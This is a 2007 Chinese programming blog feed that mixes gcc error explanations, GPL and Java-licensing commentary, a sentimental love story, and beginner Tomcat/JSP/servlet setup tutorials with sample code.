    错误资讯∶文件source.c中第n行有语法错误(syntex errror)。这种类型的错误,一般都是C语言的语法错误,应该仔细检查源代码文件中第n行及该行之前的程序,有时也需要对该文件所包含的头文件进行检查。有些情况下,一个很简单的语法错误,gcc会给出一大堆错误,我们最主要的是要保持清醒的头脑,不要被其吓倒,必要的时候再参考一下C语言的基本教材。

    第二类∶头文件错误
    错误资讯∶找不到头文件head.h(Can not find include file head.h)。这类错误是源代码文件中的包含头文件有问题,可能的原因有头文件名错误、指定的头文件所在目录名错误等,也可能是错误地使用了双引号和尖括号。

    第三类∶档案库错误
    错误资讯∶连接程序找不到所需的函数库,例如∶

    ld: -lm: No such file or directory

    这类错误是与目标文件相连接的函数库有错误,可能的原因是函数库名错误、指定的函数库所在目录名称错误等,检查的方法是使用find命令在可能的目录中寻找相应的函数库名,确定档案库及目录的名称并修改程序中及编译选项中的名称。

    第四类∶未定义符号
    错误资讯∶有未定义的符号(Undefined symbol)。这类错误是在连接过程中出现的,可能有两种原因∶一是使用者自己定义的函数或者全局变量所在源代码文件,没有被编译、连接,或者干脆还没有定义,这需要使用者根据实际情况修改源程序,给出全局变量或者函数的定义体;二是未定义的符号是一个标准的库函数,在源程序中使用了该库函数,而连接过程中还没有给定相应的函数库的名称,或者是该档案库的目录名称有问题,这时需要使用档案库维护命令ar检查我们需要的库函数到底位于哪一个函数库中,确定之后,修改gcc连接选项中的-l和-L项。

    排除编译、连接过程中的错误,应该说这只是程序设计中最简单、最基本的一个步骤,可以说只是开了个头。这个过程中的错误,只是我们在使用C语言描述一个算法中所产生的错误,是比较容易排除的。我们写一个程序,到编译、连接通过为止,应该说刚刚开始,程序在运行过程中所出现的问题,是算法设计有问题,说得更玄点是对问题的认识和理解不够,还需要更加深入地测试、调试和修改。一个程序,稍为复杂的程序,往往要经过多次的编译、连接和测试、修改。下面我们学习的程序维护、调试工具和版本维护就是在程序调试、测试过程中使用的,用来解决调测阶段所出现的问题。

    posted @ 2007-06-10 02:16 jadmin 阅读(44) | 评论 (0)编辑 收藏
    GPL
            在自由软件所使用的各种许可证之中,最为人们注意的也许是通用性公开许可证(General Public License,简称GPL)。

            GPL同其它的自由软件许可证一样,许可社会公众享有:运行、复制软件的自由,发行传播软件的自由,获得软件源码的自由,改进软件并将自己作出的改进版本向社会发行传播的自由。

            GPL还规定:只要这种修改文本在整体上或者其某个部分来源于遵循GPL的程序,该修改文本的整体就必须按照GPL流通,不仅该修改文本的源码必须向社会公开,而且对于这种修改文本的流通不准许附加修改者自己作出的限制。因此,一项遵循GPL流通的程序不能同非自由的软件合并。GPL所表达的这种流通规则称为copyleft,表示与copyright(版权)的概念“相左”。
    posted @ 2007-06-10 02:12 jadmin 阅读(37) | 评论 (0)编辑 收藏

             传说一个人向另一个人要了衬衣上的第二颗纽扣,用红绳系住,挂在脖子上,就会永不变心的爱着给她纽扣的那个人.可为什么一定要是第二颗纽扣? 那是因为,在你的衣服上,第二颗的纽扣最靠近你的心.从上往下数的第二颗纽扣是"心",因为靠近心脏,希望它能让爱在心中变的永恒.所以第二颗纽扣一般会送给自己最爱的人.
      有一个关于第二颗纽扣的经典故事:他是一个钻石王老五,也是一个情场浪子。他是我的好朋友,欣赏我的才华,却对我相守终身的爱情观点不屑一顾。他爱说的话是:人既然来这个世界走一遭,就该多爱几个人。他的言下之意,当然是多甩几个人,不为谁停留。
      谁也不曾知道,这样一个浪子,却会闪电般回头,娶了一个虽然温婉却并不花容月貌的女子。
      在他的婚礼宴席上,他告诉我们这样一个故事。
      他每年有大部分时间在全国各个城市漂,所以他也习惯在每座经历过的城市找些女子打发寂寞的时间。在一座小城,他认识了外表普通性格温柔的她,一番温存之后,他即将离开这座城市,于是像他对待任何一段感情一样,他欺骗她说,你是我最爱的人,但是我工作太忙,等我不忙的时候一定来娶你。他知道,女人都不是傻瓜,一般不会等他“工作不忙”的时候再来娶她,最多就是大吵大闹之后,拿些钱财物质来平息怨恨。
      可是这个温柔的女子却默默地凝视着他,什么要求都没有提。她送他上火车的时候,仰着头,低声而固执地说,给我你衬衣上的第二颗纽扣。他惊讶她要求的卑微和奇怪,可是在离开一个女人的时候他从来不会拒绝她的要求。于是他剪下第二颗纽扣,和一条铂金项链一起交到她的手心。
      她接过纽扣,却轻轻推开了那条项链。他上火车的一刹那,听到她说,以后要自己保重身体。他回头,看到她满脸泪水。他明白,她是知道的,他这一去便不会再回来。他于是更加不明白,为何她只需要他的一颗普通纽扣。
      他又恢复了自己的生活轨迹,爱上各种各样的女子,又离开她们。在分手的时候每个女人都会提出各种各样的要求:有的,是要一座房子;有的,是要银行存款;有的,是要他安排舒适的工作。可是,那些和他温存过的女子,那些像他一样爱说甜言蜜语为他哭为他笑过的情人们,在得到了那些她们所渴望的物质以后,都会把冷冷的背影留给他,一如他离开她们的时候那般绝情。
      奇怪的是,再也不曾有女人想要他衬衣上的第二颗纽扣。
      有一回,他读中学的侄女来他家玩,见到了衣柜里他那缺了第二颗纽扣的衬衣,像发现了秘密一般说,叔叔,谁是你的心上人?他诧异。侄女告诉他,这是一个来自日本的传说,第二颗纽扣是送给情侣的最好礼物,因为它占据胸口的位置……
      当天晚上,他坐最快的火车来到了他以为自己永远不会回来的小城市,叩响她的门,见到穿着睡衣的她脖子上挂着一根红绳,坠子就是他的那颗普通纽扣。
      没有谁知道,已经30多岁的他,外表那么潇洒而内心却是寂寞的,在夜深人静的时候,他聆听自己内心,原来也是渴望被人爱的。是的,他是拥有数不清的女人,却不过只是一些空洞的缺乏灵魂的身体。可是这个把他的普通纽扣系在脖子处贴在身体上的女子,却让他明白了什么是真正的爱,他漂泊的心仿佛也终于找到了停泊的港湾。
      在爱情里,从来不是以你征服了多少数量的异性为胜利的,也不是以你通过爱情得到了某些物质利益来诠释幸福的。真正幸福的人们,是茫茫人海里,有一个人,纯粹地爱你,无怨无悔无要求地把你放在胸口的位置——遗憾的是,拥有这样幸福的人很少很少,所以,如果你遇到了,请记得一定要珍惜。
      如果有一天有人向你要了你上衣的第二颗纽扣,并把它系在脖子上的话,那代表他是最爱你的人. 就算你要离开他,不能拥有你的心,但是只要能感受你心脏跳动的温暖,他就满足了.

    posted @ 2007-06-09 18:52 jadmin 阅读(65) | 评论 (0)编辑 收藏
            Java从它的诞生到现在已经11年了。在这11年里,有无数的企业、组织和个人为Java贡献过自己的力量。这就象梁山一百单八将要按着自己的贡献和威望排名一样,谁为Java所做的工作越多,谁就对Java的未来发展方向越有发言权。

      自从Java成为国际标准后,支持它的企业也随着Java的成熟逐渐多了起来。

      当然,人一多,就会带来另一个问题,谁说了算!作为Java的始作俑者Sun一直想将Java标准据为已有,而IBM凭着它在世界的影响对Java也是虎视眈眈。俗话说得好,三流的公司卖产品、二流的公司卖服务、一流的公司卖标准。当然,如果想做世界第一的IT企业,那就得标准、服务和产品一起卖。因此,以Sun、IBM为首的利益集团围绕着Java以及相关标准明争暗斗了11年,在这11年里,Java标准几度风雨、几度春秋。随着Java的全面开源,Java标准又面临着前所未有的挑战,未来的Java还会象它宣称的那样,一处编译、到处运行吗?到底谁能主导未来的Java呢?

      Java刚一诞生就成待宰羔羊

      在1995年,Sun正式公布了Java,并且发布了JDK1.0。Java在外形上酷似C++,但它却有一颗形如Smalltalk般纯洁的面向对象之心。正因为如此,Java几乎在一夜之前就香浓世界,成为软件行业的新宠。虽然Java刚开始只是通过Applet为网站做一些动态的效果,但它的杀手锏,“一次编译、到处运行”使Java迅速成为各大企业及众多开发人员竞相追捧的对象。

      正是因为Java的流行使众多有实力的企业垂涎三尺。一开始,Java的JVM是由Sun单独开发的。而在当时,开发工具的老大Borland却蠢蠢欲动。由于Borland以开发语言编译器著称,因此,在Java的早期,除了Sun的JVM,比较著名的还有Borland JVM。

      这个世界上除了Sun,没有哪家公司象Borland一样和Java走得如此之近。在Java的早期,Borland几乎参与了Java的各种层次的设计,如JVM、JDK以及开发工具。甚至Sun和Borland曾经进行了一场关于JVM的军备竞赛。当初Sun设计一个JVM版本,Borland也跟着设计一个更快的JVM版本。就这样持续了有几个月时间。Borland负责这方面事务的就是Anders Hejlsberg,他的第一个成名作就是Delphi,因此,他也被称为Delphi之父。说起Anders Hejlsberg,也许大家不太熟悉,但要是提起C#之父,也许大家会很熟悉,对,他也是Anders Hejlsberg(在1996被微软用年薪300万美元、加盟奖金以及一个开发团队从Borland挖去的),因此,Anders Hejlsberg同时被称为Delphi / C#之父。这位天才以汇编语言编写了Borland JVM,从某种程度上,Borland JVM的效率要比Sun JVM高一些(如果你用过Visual J++就知道了)。但由于Borland后来专注于Java开发工具(JBuilder)的开发而放弃了和Sun的JVM争夺。

      在Sun和Borland的JVM争夺战结束后,真是树欲静而风不止。自从Anders Hejlsberg到了微软后,立刻被比尔.盖茨派去负责微软的Java开发工具Visual J++的开发,至此,又要上演一场龙争虎斗。大家都知道,微软和Sun一直因为Java而互相攻击。但一开始,比尔. 盖茨是非常喜欢Java的,他曾经称赞Java是“到现在为止世界上最好的开发语言”,微软也很早就购买了Java许可证。但微软作为软件公司的老大,看到别人的孩子茁壮成长,自已心里却暗生嫉恨。于是在它自己的Visual J++中搞起了小动作。使用Visual J++开发Windows程序就象是享受一杯美酒。但Visual J++却破坏了Java的跨平台特性。微软和Sun也因此打了长达7年的官司,最后这场官司以喜剧收场。微软和Sun达到协议,微软停止Visual J++的开发,而双方都将为使用对方的专利付费。同时Visual J++也无疾而终(要不是这场官司,恐怕现在很多程序员还在使用Visual J++呢!)。在2004年,微软和Sun最终以16亿美元结束了十多年恩怨。这也正应了一句话“没有永远的朋友、也没有永远的敌人,只有永恒的利益”。

      在Sun、Borland、微软之间围绕着Java的争斗最终以Sun重新获得Java的控制权而结束。但新的争斗又将开始。

      Java标准成为众豪强竞相追逐的“梅花鹿”

      在经过数年的争斗后,Sun终于可以暂时控制JVM和JDK了,现在这两种技术也趋于一致了,但JVM和JDK只是Java体系的冰山一角。而对Java影响最大的莫过于众多的JSRs(Java Specification Requests)。

      当Sun和Borland、微软的争斗告一段落后,Sun本以为可以高枕无忧了,但Sun却打错了算盘。在这之后,Sun受到的第一次挑逗就是IBM的Eclipse。在2001年,IBM设计了自己的Java开发工具Eclipse,这本来没什么,但Eclipse却与Borland的JBuilder有着本质的不同。JBuilder是百分之百基于Java的,而Eclipse虽然是Java开发工具,但它的图形接口既不是AWT,也不是SWING,而是IBM自己开发的SWT。SWT虽然速度快,但它却是独立于JDK之外的,也就说,它并不同JDK一起发布。因此,在程序发布时,必须带是SWT的运行库才可以。IBM官方称Eclipse的推出是为取代Sun的NetBeans,但稍微动一下脑子就不难看出,IBM的真正目的并不是NetBeans,而是想逐步取代Sun的JDK的部分,甚至全部。IBM推出SWT的目的就是想让开发人员除了标准的AWT和SWING外,还有另外一种选择,那就是SWT。也就是说,IBM想先通过JDK的图形库来分裂JDK,从而达到自己控制JDK的目的。

      而另Sun尴尬的是IBM的举动并没有触犯什么法律或规约,SWT只是一个基于Java的类库而已。Sun更本无法向当年起诉微软一样来起诉IBM。IBM的初次挑衅取得了意想不到的收获。这下IBM更加得寸进尺了。

      由于和Java相关的规范都是由JCP来管理的。每当提交一个新规范,必须由JCP的成员投票表决才能通过。因此,JCP就相当于Java世界的联合国。它和现实中的联合国是一样的,谁控制了联合国,谁就能充当世界警察,为所欲为。而JCP成员中最强大的当然是IBM了。一开始,IBM还是很规矩的,但后来,IBM发现,JCP一直都是由Sun来主导,而Sun的产品也是最早支持JCP标准的,如当JCP推出新的J2EE标准后,Sun的AppServer在半个月后就宣布支持新标准了。

      这种结果是IBM所不能允许的,因为,在J2EE市场,IBM和Sun是竞争对手。这样,Sun的AppServer就永远领先IBM的WebSphere了。因此,IBM就想绕过JCP,自己确定新的标准。可能是因为IBM感觉自己势单力孤,最后把BEA也拉了进来。IBM和BEA都是J2EE市场的绞绞者,他们的市场份额之和超过了66%。

      无论是微软,还是IBM。他们的强大都足以在一个领域中推行新的规范。IBM也正是看中了这一点,因此,在最近IBM和BEA提交的几个规范(如JSRs235,236和237)并没有长长支持列表。而其它的规范都有很长的支持列表。这充分说明了IBM和BEA打算绕过JCP而单独推出规范,而这些规范并未得到JCP大多数成员的支持。

      如果说提交JSR规范只是小打小闹,那么IBM联合BEA发布的SDO(Service Data Object)规范将是一次大动作。在发布SDO的同时,IBM又向Apache基金会捐献一个支持SDO标准的Tuscany项目。这次发布并没有安排Sun、JBoss等Java中间件提供商参与。尽管SDO最终因进展缓慢而失败,但这将是以IBM为首的利益集团分裂JCP的开始。在SDO失败后不久、IBM和BEA又联手推出了SOA标准。这个标准除了IBM和BEA,并没有其它的SOA标准制定者。IBM和BEA制定SOA的目的就是想彻底绕过JCP而成为Java EE的事实标准。不管其他人如何评价IBM和BEA的这次联合,我相信Java标准已经开始分裂。而在业界举足轻重的企业,如IBM、BEA、Oracle、JBoss,甚至是微软,都会围绕着Java标准展开一场殊死搏斗。也许Java EE的未来将是一场血雨腥风!

      Sun的回马枪:以GPL协议开源的Java

      IBM这个城府极深的家伙总在不断地算计别人。就在Sun和微软最终和解的2004年,IBM又不遗余力地“劝说”Sun将Java开源。而当时Sun还是站在开源的对立面。面对IBM给自己的一封公开信,Sun总裁麦克利表现出了极大的反弹,并公开表达了对这封信的反感和对开放的排斥。有趣的是,在两年之后,Sun的态度发生了180度的逆转,不仅将Java开源,而且是在GPL协议下开的源。GPL在开源协议中是最接近自由的协议,这下可给IBM一个措手不及。

      在Sun公布这一消息之后,英特尔、RedHat都对此表示高度的赞许,而IBM的态度却让人捉摸不透。除了一份声明外,并没有其它的任何反应。

      其实Sun这次开源也算是破罐子破摔了。在Java诞生的11年里,Java为Sun赢得了无数的声誉,但Java对于Sun来说就是叫好不叫座。而恰恰相反,Java却成就了BEA、JBoss、IBM等公司。可Sun除了为Java而付出的大量开发和维护费用外,几乎没得到没么好处。而这次开源,Sun干脆将Java开源到底,直接选用了最开放的GPL协议,反正Sun也没从Java得到什么,当然,也不怕失去什么。Sun的这个举动是几乎所有人都始料未及的。而最受刺激的就是IBM。在开源的当天,IBM发表声明建议Sun还是以Apache协议来开源Java。这说明,Sun这一举动给了IBM一个回马枪、打得IBM错不及防。

      IBM一开始想让Sun在Apache等限制比较多的协议下开源,然后凭着IBM的影响力来控制Java在未来的发展方向。而这下Sun将IBM的计划完全打乱了,一但以GPL开源,就意味着任何人都可能自由地修改Java的代码,而IBM将很难控制局面。

      Java的开源其实对于Sun是好处多多,起码它可以省下大笔的开发Java的费用,当然,还能赢得一个好名声。除此之外,还可以借助于开源社区的力量,对Java那臃肿的构架进行改进。Sun还发表声明说,在未来,还打算将Solaris、OpenOffice等软件以GPL协议进行开源。这将给Sun带来更大的发展机会。

      而IBM和其它的软件公司也正在试图寻找开源赢利模式。IBM几次想控制Java都未能完全如愿,现在Java也以GPL协议开源了,看来,IBM要想进一步地控制Java的可能性已经不大了。而Java的开源也有不利的一面,这将表现在可能出现其它的Java版本,到那时,可能会在一定程度上破坏Java的“一处编译、到处运行”的特性。

      总之,不管Java标准是分裂,还是统一,有一点永远不会变,那就是Java会一如既往地向前发展。但愿我们将来能看到一个崭新的Sun和Java。
    posted @ 2007-06-04 16:50 jadmin 阅读(69) | 评论 (0)编辑 收藏
            在柏林的JBoss世界论坛上,JBoss的成立者兼领导者Marc Fleury说到:在Linux世界,他很高兴Sun公司选择在GPL下发布Java,因为他认为:“这将至少延长Java 15年寿命”。照自由软件运动的观点来说:Java变成GPL的,这是一个好消息,因为它对Java虚拟机的知识产权产生了保护作用。

      一、开源将大大延长Java的寿命

      Fleury相信Java虚拟机在开源组织的影响下将会更快地发展,sun公司也会因为保留商标权而受益,而这对于JBoss、开发者以及开源社区来说,也无疑是件好事情。“因为我们关心平台的发展,我们同样也关心虚拟机的统一,来代替谈论Java平台,因为虚拟机的统一为那些不关心是Linux、Windows和Solaris的开发者产生了一个很大的市场,由此观来,这无疑是件好事情。”

      Fleury看到GPL作为一个机构的特权条款保护了知识产权以及代码的著作权,他说:“GPL在两个世界中都是最好的,因为GPL产生了很强的知识产权观念,并且自由软件社区也给出了一个出色的虚拟机----Sun公司的实现,与此同时,Sun公司仍然能够用他们带有双重的许可证的虚拟机获得利益。”

      Fleury说:合适的开源的虚拟机的缺乏已经在意识形态上困扰了很多人,但是在实际中,却没有人关心。开发者经常将Java虚拟机在Linix平台上跑,但是,如果把眼光看得长远一点,带有GPL是证书的虚拟机的发布为至少Java延长了15年的寿命。

      GPL是一个正确的机构, “因为你将看到更少的分叉,程序的著作权的要求将会更加迫切,对Sun公司来说,这是一件好事情。GPL允许他们为J2ME平台定价钱,这将会造成虚拟机的增值,但是依然为Sun公司保留了某些钱财。”

      Sun公司与他们的合作者十分开通,“他们在怎样开放他们的虚拟机上进行民意调查,而我们,作为Jboss,投票结果是:向GPL靠拢。虽然我们并不想成为著作权所有者,但我们很高兴他们做了正确的事情。”

      二、Sun和Java在批评声中成长

      Fleury感觉到很多对Sun的批评都有失公平。“很多对Sun公司的猛击事实上来自其它私人的利益,他们希望将自己伪装成开源的保护人,而将Sun公司说成是有点傲慢的坏人,而事实上,在JCP中,Java证书的统治体,开源社区的人们已在2003年出现。开源社区的注入以及我们在JCP中所做的工作,使得它得以实现。我们是EJB3.0的关键贡献者。我们正在领导WebBean,WebBean是下一代Web应用程序。”

      Fleury对Sun的批评家表现得并不算大方,他说:“IBM对Sun的通告很消极,因为IBM对开源社区态度是施伎俩,引导开源社区去做某些事情,IBM接近他们,并将他们进行包装,将它们贴上所有者标签,并将其投放于市场作为结果----例如websphere就是这样的一个例子。所以他们对于自身制造的产品和对其他低成本的开源产物有着双重的策略,这种策略通常在BSD这样的证书中运作得很好,因为在这种证书中,你可以作为创造者,你也可以作为卖主,有竞争力的提供是所有者。”Sun公司在GPL下发布的举措,是针对IBM在Harmony制造以及Apache试图在BSD下开源发布而提出的。我对IBM的举措有点失望。因为他们展示了他们的“strip mining”策略。在之前,他们都是说’开源很不错,开源很好’的,但是你们又说开源软件不好,为什么呢?”GPL意味着Java”将永远在开源软件社区存在。你不能对它置之不理,这是开源软件成立许可证的好处,IBM将会反对这样做,为什么呢?因为他们在‘我们需要开源’这个事情上像狼似的哭叫,当Sun将他们称为虚张声势的人,并且投向GPL的怀抱,他们当然不会高兴。”
    posted @ 2007-06-03 22:34 jadmin 阅读(77) | 评论 (0)编辑 收藏
      经常看到jsp的初学者问tomcat下如何配置jsp、servlet和bean的问题,于是总结了一下如何tomcat下配置jsp、servlet和ben,希望对那些初学者有所帮助。
      
      第一步:下载j2sdk和tomcat:到sun官方站点(http://java.sun.com/j2se/1.4.2/download.html)下载j2sdk,注意下载版本为Windows Offline Installation的SDK,同时最好下载J2SE 1.4.2 Documentation,然后到tomcat官方站点(http://www.apache.org/dist/jakarta/tomcat-4/)下载tomcat(下载最新4.1.x版本的tomcat);
      
      第二步:安装和配置你的j2sdk和tomcat:执行j2sdk和tomcat的安装程序,然后按默认设置进行安装即可。
      
      1.安装j2sdk以后,需要配置一下环境变量,在我的电脑->属性->高级->环境变量->系统变量中添加以下环境变量(假定你的j2sdk安装在c:\j2sdk1.4.2):
      
      JAVA_HOME=c:\j2sdk1.4.2
      classpath=.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;(.;一定不能少,因为它代表当前路径)
      path=%JAVA_HOME%\bin
      
      接着可以写一个简单的java程序来测试J2SDK是否已安装成功:
      public class Test{
      public static void main(String args[]){
      System.out.println("This is a test program.");
      }
      }
      
      将上面的这段程序保存为文件名为Test.java的文件。
      
      然后打开命令提示符窗口,cd到你的Test.java所在目录,然后键入下面的命令
      
      javac Test.java
      java Test
      
      此时如果看到打印出来This is a test program.的话说明安装成功了,如果没有打印出这句话,你需要仔细检查一下你的配置情况。
      
      2.安装Tomcat后,在我的电脑->属性->高级->环境变量->系统变量中添加以下环境变量(假定你的tomcat安装在c:\tomcat):
      
      CATALINA_HOME=c:\tomcat;
      CATALINA_BASE=c:\tomcat;
      
      然后修改环境变量中的classpath,把tomat安装目录下的common\lib下的servlet.jar追加到classpath中去,修改后的classpath如下:
      
      classpath=.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;%CATALINA_HOME%\common\lib\servlet.jar;
      
      接着可以启动tomcat,在IE中访问http://localhost:8080,如果看到tomcat的欢迎页面的话说明安装成功了。
      
      第三步:建立自己的jsp app目录
      
      1.到Tomcat的安装目录的webapps目录,可以看到ROOT,examples, tomcat-docs之类Tomcat自带的的目录;
      
      2.在webapps目录下新建一个目录,起名叫myapp;
      
      3.myapp下新建一个目录WEB-INF,注意,目录名称是区分大小写的;
      
      4.WEB-INF下新建一个文件web.xml,内容如下:
      <?xml version="1.0" encoding="ISO-8859-1"?>
      
      <!DOCTYPE web-app
      PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
      "http://java.sun.com/dtd/web-app_2_3.dtd">
      
      <web-app>
      <display-name>My Web Application</display-name>
      <description>
      A application for test.
      </description>
      </web-app>
      
      5.在myapp下新建一个测试的jsp页面,文件名为index.jsp,文件内容如下:
      
      <html><body><center>
      Now time is: <%=new java.util.Date()%>
      </center></body></html>
      
      6.重启Tomcat
      
      7.打开浏览器,输入http://localhost:8080/myapp/index.jsp 看到当前时间的话说明就成功了。
      
      第四步:建立自己的Servlet:
      
      1.用你最熟悉的编辑器(建议使用有语法检查的java ide)新建一个servlet程序,文件名为Test.java,文件内容如下:
      
      package test;
      import java.io.IOException;
      import java.io.PrintWriter;
      import javax.servlet.ServletException;
      import javax.servlet.http.HttpServlet;
      import javax.servlet.http.HttpServletRequest;
      import javax.servlet.http.HttpServletResponse;
      public class Test extends HttpServlet {
      protected void doGet(HttpServletRequest request, HttpServletResponse response)
      throws ServletException, IOException {
      PrintWriter out=response.getWriter();
      out.println("<html><body><h1>This is a servlet test.</h1></body></html>");
      out.flush();
      }
      }
      
      2 .编译
      
      将Test.java放在c:\test下,使用如下命令编译:
      C:\Test>javac Test.java
      
      然后在c:\Test下会产生一个编译后的servlet文件:Test.class
      
      3 .将结构test\Test.class剪切到%CATALINA_HOME%\webapps\myapp\WEB-INF\classes下,也就是剪切那个test目录到classes目录下,如果classes目录不存在,就新建一个。 现在webapps\myapp\WEB-INF\classes下有test\Test.class的文件目录结构
      
      4 .修改webapps\myapp\WEB-INF\web.xml,添加servlet和servlet-mapping
      
      编辑后的web.xml如下所示,红色为添加的内容:
      <?xml version="1.0" encoding="ISO-8859-1"?>
      
      <!DOCTYPE web-app
      PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
      "http://java.sun.com/dtd/web-app_2_3.dtd">
      
      <display-name>My Web Application</display-name>
      <description>
      A application for test.
      </description>
      <servlet>
      <servlet-name>Test</servlet-name>
      <display-name>Test</display-name>
      <description>A test Servlet</description>
      <servlet-class>test.Test</servlet-class>
      </servlet>
      <servlet-mapping>
      <servlet-name>Test</servlet-name>
      <url-pattern>/Test</url-pattern>
      </servlet-mapping>
      </web-app>
      
      这段话中的servlet这一段声明了你要调用的Servlet,而servlet-mapping则是将声明的servlet“映射”到地址/Test上
      
      5 .好了,启动Tomcat,启动浏览器,输入http://localhost:8080/myapp/Test 如果看到输出This is a servlet test.就说明编写的servlet成功了。
      
      注意:修改了web.xml以及新加了class,都要重启Tomcat
      
      第五步:建立自己的Bean:
      
      1.用你最熟悉的编辑器(建议使用有语法检查的java ide)新建一个java程序,文件名为TestBean.java,文件内容如下:
      package test;
      public class TestBean{
      private String name = null;
      public TestBean(String strName_p){
      this.name=strName_p;
      }
      public void setName(String strName_p){
      this.name=strName_p;
      }
      public String getName(){
      return this.name;
      }
      }
      
      2 .编译
      
      将TestBean.java放在c:\test下,使用如下命令编译:
      C:\Test>javac TestBean.java
      
      然后在c:\Test下会产生一个编译后的bean文件:TestBean.class
      
      3 .将TestBean.class文件剪切到 %CATALINA_HOME%\webapps\myapp\WEB-INF\classes\test下,
      
      4 .新建一个TestBean.jsp文件,文件内容为:
      <%@ page import="test.TestBean" %>
      <html><body><center>
      <%
      TestBean testBean=new TestBean("This is a test java bean.");
      %>
      Java bean name is: <%=testBean.getName()%>
      </center></body></html>
      
      5 .好了,重启Tomcat,启动浏览器,输入http://localhost:8080/myapp/TestBean.jsp 如果看到输出Java bean name is: This is a test java bean.就说明编写的Bean成功了。
      
      这样就完成了整个Tomcat下的jsp、servlet和javabean的配置。接下来需要做的事情就是多看书、多读别人的好代码,自己多动手写代码以增强自己在这方面开发的能力了。
    posted @ 2007-05-31 02:03 jadmin 阅读(85) | 评论 (0)编辑 收藏

    jsp指令元素

    (1)include:导入其它文件夹

    (2)page:

    language:用什么语言,只能为JAVA

    contentType:MIME类型

    import:导入java包

    (3)taglib:自定义标签库

    jsp常用标准元素

    (1)jsp:forward:跳转到其它页面

    (2)jsp:include:插入其它文件 eg:

    (3)jsp:plugin:插入applet小程序

    (4)jsp:param:参数传值

    jsp内置对象

    (1)request:常用方法

    getParameter():提取表单元素的值

    getRemoteAddr():获取客户端IP值

    (2)response:

    sendRedirect():重定向到其它网页

    setcontentType();设置MIME值

    (3)out:向网页输出

    (4)application

    setAttribute(String,Object)把变量的值保存在application中;

    getAttribute(String)获取保存在applicaion中的值

    removeAttribute(String)删除保存在application中的值

    (5)session

    setAttribute(String,Object)把变量的值保存在session中;

    getAttribute(String)获取保存在session中的值

    removeAttribute(String)删除保存在

    jsp语法

    jsp指令元素

    (1)include:导入其它文件夹

    (2)page:

    language:用什么语言,只能为JAVA

    contentType:MIME类型

    import:导入java包

    (3)taglib:自定义标签库

    jsp常用标准元素

    (1)jsp:forward:跳转到其它页面

    (2)jsp:include:插入其它文件 eg:

    (3)jsp:plugin:插入applet小程序

    (4)jsp:param:参数传值

    jsp内置对象

    (1)request:常用方法

    getParameter():提取表单元素的值

    getRemoteAddr():获取客户端IP值

    (2)response:

    sendRedirect():重定向到其它网页

    setcontentType();设置MIME值

    (3)out:向网页输出

    (4)application

    setAttribute(String,Object)把变量的值保存在application中;

    getAttribute(String)获取保存在applicaion中的值

    removeAttribute(String)删除保存在application中的值

    (5)session

    setAttribute(String,Object)把变量的值保存在session中;

    getAttribute(String)获取保存在session中的值

    removeAttribute(String)删除保存在session中的值

    getID:获取session编号

    jsp简单表单处理

    <%@page contentType="text/html;charset=gb2312"%>
    <%@page language="java" %>
    <html>
    <head><title>表单处理</title></head>
    <form name="frm" method="GET" action="ch-show.jsp">
    <table boder=0>
    <tr><td>用户名:</td><td><input type=text name="Tname"></td></tr>
    <tr><td>密码:</td><td><input type=password name="Tpass"></td></tr>
    <tr><td>性别:</td>
    <td><input type=radio name="Tsex" value="男" checked>男
    <input type=radio name="Tsex" value="女">女</td>
    </tr>
    <tr><td>爱好:</td>
    <td><input type=checkbox name=Tch1 value="体育">体育
    <input type=checkbox name=Tch2 value="美术">美术
    <input type=checkbox name=Tch3 value="音乐">音乐</td>
    </tr>
    <tr><td>专业:</td><td><select name=Ty>
    <option value="计算机">计算机</option>
    <option value="文学">文学</option>
    <option value="数学">数学</option>
    </select>
    <tr><td>留言:</td><td><textarea name=Tl rows=5 cols=20></textarea></td></tr>
    <tr><td><input type=submit value="用户信息"></td></tr>
    </table></form>
    <%
    String Tname=request.getParameter("Tname");
    String Tpass=request.getParameter("Tpass");
    String Tsex=request.getParameter("Tsex");
    String Tlove1=request.getParameter("Tch1");
    String Tlove2=request.getParameter("Tch2");
    String Tlove3=request.getParameter("Tch3");
    String Ty=request.getParameter("Ty");
    String Tl=request.getParameter("Tl");
    byte b1[]=Tsex.getBytes("ISO-8859-1");
    Tsex=new String(b1);
    if(Tlove1==null)
    {
    Tlove1="";
    }
    else
    {
    byte b2[]=Tlove1.getBytes("ISO-8859-1");
    Tlove1=new String(b2);
    }
    if(Ty==null)
    {
    Ty="";
    }
    else
    {
    byte b5[]=Ty.getBytes("ISO-8859-1");
    Ty=new String(b5);
    }
    if(Tlove2==null)
    {
    Tlove2="";
    }
    else
    {
    byte b3[]=Tlove2.getBytes("ISO-8859-1");
    Tlove2=new String(b3);
    }
    if(Tlove3==null)
    {
    Tlove3="";
    }
    else
    {
    byte b4[]=Tlove3.getBytes("ISO-8859-1");
    Tlove3=new String(b4);
    }
       out.print("你的信息是:"+"<br>");
    out.print("用户名"+Tname+"<br>");
    out.print("密码"+Tname+"<br>");
    out.print("性别"+Tsex+"<br>");
    out.print("爱好"+Tlove1+Tlove2+Tlove3+"<br>");
    out.print("专业"+Ty+"<br>");
    out.print("留言"+Tl+"<br>");
    %>
           </body>

    posted @ 2007-05-31 01:49 jadmin 阅读(72) | 评论 (0)编辑 收藏

    http://www.chinaitlab.com/www/techspecial/tomcat/

    posted @ 2007-05-31 01:46 jadmin 阅读(75) | 评论 (0)编辑 收藏
    JSP动作利用XML语法格式的标记来控制Servlet引擎的行为。利用JSP动作可以动态地插入文件、重用JavaBean组件、把用户重定向到另外的页面、为Java插件生成HTML代码。
    JSP动作包括:  
    posted @ 2007-05-31 00:35 jadmin 阅读(65) | 评论 (0)编辑 收藏
      Taglib 指令
      
      定义一个标签库以及其自定义标签的前缀。
      
      JSP 语法
      
      <%@ taglib uri="URIToTagLibrary" prefix="tagPrefix" %>
      
      例子
      
      <%@ taglib uri="http://www.jspcentral.com/tags" prefix="public" %>
      <public:loop>
      .
      .
      </public:loop>
      
      描述
      
      % @ taglib %指令声明此JSP文件使用了自定义的标签,同时引用标签库,也指定了他们的标签的前缀。
      
